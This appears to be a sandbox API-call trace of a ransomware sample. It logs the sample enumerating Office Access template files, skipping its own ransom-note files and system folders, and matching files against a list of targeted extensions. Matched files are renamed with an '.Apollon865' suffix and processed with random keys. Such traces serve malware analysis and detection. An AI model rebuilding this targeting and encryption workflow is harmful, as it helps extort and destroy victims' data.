	[0064.385] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt.Apollon865") returned 81
	[0064.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt.apollon865"), dwFlags=0x1) returned 1
	[0064.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0064.430] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1428600) returned 1
	[0064.430] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0064.438] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0064.438] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0064.438] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0064.439] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0064.439] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.439] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15cf80, lpName=0x0) returned 0x118
	[0064.441] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15cf80) returned 0x3480000
	[0064.523] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0064.524] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0064.524] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0064.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0064.524] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0064.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.524] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0064.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0064.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.525] UnmapViewOfFile (lpBaseAddress=0x3480000) returned 1
	[0064.538] CloseHandle (hObject=0x118) returned 1
	[0064.538] CloseHandle (hObject=0x14c) returned 1
	[0064.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0064.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0064.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0064.544] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0xf8196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sales Pipeline.accdt", cAlternateFileName="SALESP~1.ACC")) returned 1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2=".") returned 1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="..") returned 1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="windows") returned -1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="bootmgr") returned 1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="temp") returned -1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="pagefile.sys") returned 1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="boot") returned 1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="ids.txt") returned 1
	[0064.544] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="ntuser.dat") returned 1
	[0064.545] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="perflogs") returned 1
	[0064.545] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2="MSBuild") returned 1
	[0064.545] lstrlenW (lpString="Sales Pipeline.accdt") returned 20
	[0064.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt") returned 70
	[0064.545] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Sales Pipeline.accdt" | out: lpString1="Sales Pipeline.accdt") returned="Sales Pipeline.accdt"
	[0064.545] lstrlenW (lpString="Sales Pipeline.accdt") returned 20
	[0064.545] lstrlenW (lpString="Apollon865") returned 10
	[0064.545] lstrcmpiW (lpString1="line.accdt", lpString2="Apollon865") returned 1
	[0064.545] lstrlenW (lpString=".dll") returned 4
	[0064.545] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2=".dll") returned 1
	[0064.545] lstrlenW (lpString=".lnk") returned 4
	[0064.545] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2=".lnk") returned 1
	[0064.545] lstrlenW (lpString=".ini") returned 4
	[0064.545] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2=".ini") returned 1
	[0064.545] lstrlenW (lpString=".sys") returned 4
	[0064.545] lstrcmpiW (lpString1="Sales Pipeline.accdt", lpString2=".sys") returned 1
	[0064.545] lstrlenW (lpString="Sales Pipeline.accdt") returned 20
	[0064.545] lstrlenW (lpString="bak") returned 3
	[0064.545] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0064.545] lstrlenW (lpString="ba_") returned 3
	[0064.545] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0064.545] lstrlenW (lpString="dbb") returned 3
	[0064.545] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0064.545] lstrlenW (lpString="vmdk") returned 4
	[0064.545] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0064.545] lstrlenW (lpString="rar") returned 3
	[0064.545] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0064.545] lstrlenW (lpString="zip") returned 3
	[0064.545] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0064.545] lstrlenW (lpString="tgz") returned 3
	[0064.545] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0064.545] lstrlenW (lpString="vbox") returned 4
	[0064.545] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0064.546] lstrlenW (lpString="vdi") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0064.546] lstrlenW (lpString="vhd") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0064.546] lstrlenW (lpString="vhdx") returned 4
	[0064.546] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0064.546] lstrlenW (lpString="avhd") returned 4
	[0064.546] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0064.546] lstrlenW (lpString="db") returned 2
	[0064.546] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0064.546] lstrlenW (lpString="db2") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0064.546] lstrlenW (lpString="db3") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0064.546] lstrlenW (lpString="dbf") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0064.546] lstrlenW (lpString="mdf") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0064.546] lstrlenW (lpString="mdb") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0064.546] lstrlenW (lpString="sql") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0064.546] lstrlenW (lpString="sqlite") returned 6
	[0064.546] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0064.546] lstrlenW (lpString="sqlite3") returned 7
	[0064.546] lstrcmpiW (lpString1="e.accdt", lpString2="sqlite3") returned -1
	[0064.546] lstrlenW (lpString="sqlitedb") returned 8
	[0064.546] lstrcmpiW (lpString1="ne.accdt", lpString2="sqlitedb") returned -1
	[0064.546] lstrlenW (lpString="xml") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0064.546] lstrlenW (lpString="$er") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0064.546] lstrlenW (lpString="4dd") returned 3
	[0064.546] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0064.546] lstrlenW (lpString="4dl") returned 3
	[0064.547] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0064.547] lstrlenW (lpString="^^^") returned 3
	[0064.547] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0064.547] lstrlenW (lpString="abs") returned 3
	[0064.547] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0064.547] lstrlenW (lpString="abx") returned 3
	[0064.547] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0064.547] lstrlenW (lpString="accdb") returned 5
	[0064.547] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0064.547] lstrlenW (lpString="accdc") returned 5
	[0064.547] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0064.547] lstrlenW (lpString="accde") returned 5
	[0064.547] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0064.547] lstrlenW (lpString="accdr") returned 5
	[0064.547] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0064.547] lstrlenW (lpString="accdt") returned 5
	[0064.547] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0064.547] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt.Apollon865") returned 87
	[0064.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt.apollon865"), dwFlags=0x1) returned 1
	[0064.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0064.548] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1016214) returned 1
	[0064.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0064.549] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0064.549] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0064.549] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0064.549] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0064.549] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0064.550] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf84a0, lpName=0x0) returned 0x118
	[0064.551] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf84a0) returned 0x2b40000
	[0064.843] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0064.844] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0064.844] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0064.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0064.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0064.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0064.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0064.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.844] UnmapViewOfFile (lpBaseAddress=0x2b40000) returned 1
	[0064.868] CloseHandle (hObject=0x118) returned 1
	[0064.868] CloseHandle (hObject=0x14c) returned 1
	[0064.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0064.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0064.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0064.879] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8694e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8694e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7d017, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Students.accdt", cAlternateFileName="STUDEN~1.ACC")) returned 1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2=".") returned 1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2="..") returned 1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2="windows") returned -1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2="bootmgr") returned 1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2="temp") returned -1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2="pagefile.sys") returned 1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2="boot") returned 1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2="ids.txt") returned 1
	[0064.879] lstrcmpiW (lpString1="Students.accdt", lpString2="ntuser.dat") returned 1
	[0064.880] lstrcmpiW (lpString1="Students.accdt", lpString2="perflogs") returned 1
	[0064.880] lstrcmpiW (lpString1="Students.accdt", lpString2="MSBuild") returned 1
	[0064.880] lstrlenW (lpString="Students.accdt") returned 14
	[0064.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt") returned 76
	[0064.910] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Students.accdt" | out: lpString1="Students.accdt") returned="Students.accdt"
	[0064.910] lstrlenW (lpString="Students.accdt") returned 14
	[0064.910] lstrlenW (lpString="Apollon865") returned 10
	[0064.911] lstrcmpiW (lpString1="ents.accdt", lpString2="Apollon865") returned 1
	[0064.911] lstrlenW (lpString=".dll") returned 4
	[0064.912] lstrcmpiW (lpString1="Students.accdt", lpString2=".dll") returned 1
	[0064.912] lstrlenW (lpString=".lnk") returned 4
	[0064.912] lstrcmpiW (lpString1="Students.accdt", lpString2=".lnk") returned 1
	[0064.912] lstrlenW (lpString=".ini") returned 4
	[0064.912] lstrcmpiW (lpString1="Students.accdt", lpString2=".ini") returned 1
	[0064.912] lstrlenW (lpString=".sys") returned 4
	[0064.912] lstrcmpiW (lpString1="Students.accdt", lpString2=".sys") returned 1
	[0064.912] lstrlenW (lpString="Students.accdt") returned 14
	[0064.913] lstrlenW (lpString="bak") returned 3
	[0064.913] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0064.913] lstrlenW (lpString="ba_") returned 3
	[0064.913] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0064.913] lstrlenW (lpString="dbb") returned 3
	[0064.913] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0064.913] lstrlenW (lpString="vmdk") returned 4
	[0064.913] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0064.913] lstrlenW (lpString="rar") returned 3
	[0064.913] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0064.913] lstrlenW (lpString="zip") returned 3
	[0064.913] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0064.914] lstrlenW (lpString="tgz") returned 3
	[0064.914] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0064.914] lstrlenW (lpString="vbox") returned 4
	[0064.915] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0064.915] lstrlenW (lpString="vdi") returned 3
	[0064.915] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0064.916] lstrlenW (lpString="vhd") returned 3
	[0064.916] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0064.917] lstrlenW (lpString="vhdx") returned 4
	[0064.918] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0064.918] lstrlenW (lpString="avhd") returned 4
	[0064.919] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0064.919] lstrlenW (lpString="db") returned 2
	[0064.919] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0064.920] lstrlenW (lpString="db2") returned 3
	[0064.920] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0064.922] lstrlenW (lpString="db3") returned 3
	[0064.922] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0064.923] lstrlenW (lpString="dbf") returned 3
	[0064.923] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0064.923] lstrlenW (lpString="mdf") returned 3
	[0064.925] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0064.925] lstrlenW (lpString="mdb") returned 3
	[0064.926] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0064.926] lstrlenW (lpString="sql") returned 3
	[0064.927] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0064.927] lstrlenW (lpString="sqlite") returned 6
	[0064.927] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0064.928] lstrlenW (lpString="sqlite3") returned 7
	[0064.928] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0064.931] lstrlenW (lpString="sqlitedb") returned 8
	[0064.931] lstrcmpiW (lpString1="ts.accdt", lpString2="sqlitedb") returned 1
	[0064.931] lstrlenW (lpString="xml") returned 3
	[0064.932] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0064.932] lstrlenW (lpString="$er") returned 3
	[0064.933] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0064.934] lstrlenW (lpString="4dd") returned 3
	[0064.934] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0064.935] lstrlenW (lpString="4dl") returned 3
	[0064.935] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0064.935] lstrlenW (lpString="^^^") returned 3
	[0064.936] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0064.936] lstrlenW (lpString="abs") returned 3
	[0064.937] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0064.937] lstrlenW (lpString="abx") returned 3
	[0064.938] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0064.941] lstrlenW (lpString="accdb") returned 5
	[0064.941] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0064.942] lstrlenW (lpString="accdc") returned 5
	[0064.952] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0064.952] lstrlenW (lpString="accde") returned 5
	[0064.952] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0064.952] lstrlenW (lpString="accdr") returned 5
	[0064.952] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0064.952] lstrlenW (lpString="accdt") returned 5
	[0064.952] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0064.952] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt.Apollon865") returned 81
	[0064.952] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt.apollon865"), dwFlags=0x1) returned 1
	[0064.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0064.954] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=512023) returned 1
	[0064.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0064.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0064.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0064.954] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0064.955] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0064.955] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.955] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d320, lpName=0x0) returned 0x150
	[0064.957] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d320) returned 0x210000
	[0064.988] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0064.989] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0064.989] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0064.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0064.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.990] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0064.995] CloseHandle (hObject=0x150) returned 1
	[0064.995] CloseHandle (hObject=0x118) returned 1
	[0064.995] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0064.995] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0064.995] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0064.997] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2e0200, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed2e0200, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x84e69, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="TASKS~1.ACC")) returned 1
	[0064.997] lstrcmpiW (lpString1="Tasks.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
